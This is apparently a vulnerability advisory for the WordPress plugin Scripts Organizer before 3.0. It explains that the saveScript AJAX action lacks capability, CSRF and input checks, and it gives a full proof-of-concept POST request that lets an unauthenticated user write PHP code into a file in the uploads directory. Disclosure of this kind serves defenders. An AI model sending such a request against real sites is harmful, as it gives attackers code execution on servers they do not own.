Scripts Organizer < 3.0 - Unauthenticated Arbitrary File Upload

The plugin does not have capability and CSRF checks in the saveScript AJAX action, available to both unauthenticated and authenticated users, and does not validate user input in any way, which could allow unauthenticated users to put arbitrary PHP code in a file

PoC

POST /wp-admin/admin-ajax.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 295 action=saveScript&php;_script=%22%3C%3Fphp+die(‘test’)%3B%22&SCORG;_enable_script=1&form;_data=post_status%3Dpublish%26post_name%3Dtest%26post_author%3D1%26post_name%3Dtest%26post_ID%3D200%26post_title%3Dtest%26SCORG_enable_script%3D1%26SCORG_trigger_location%3Deverywhere%26SCORG_script_type%3Dphp The file will be at https://example.com/wp-content/uploads/scripts-organizer/200.php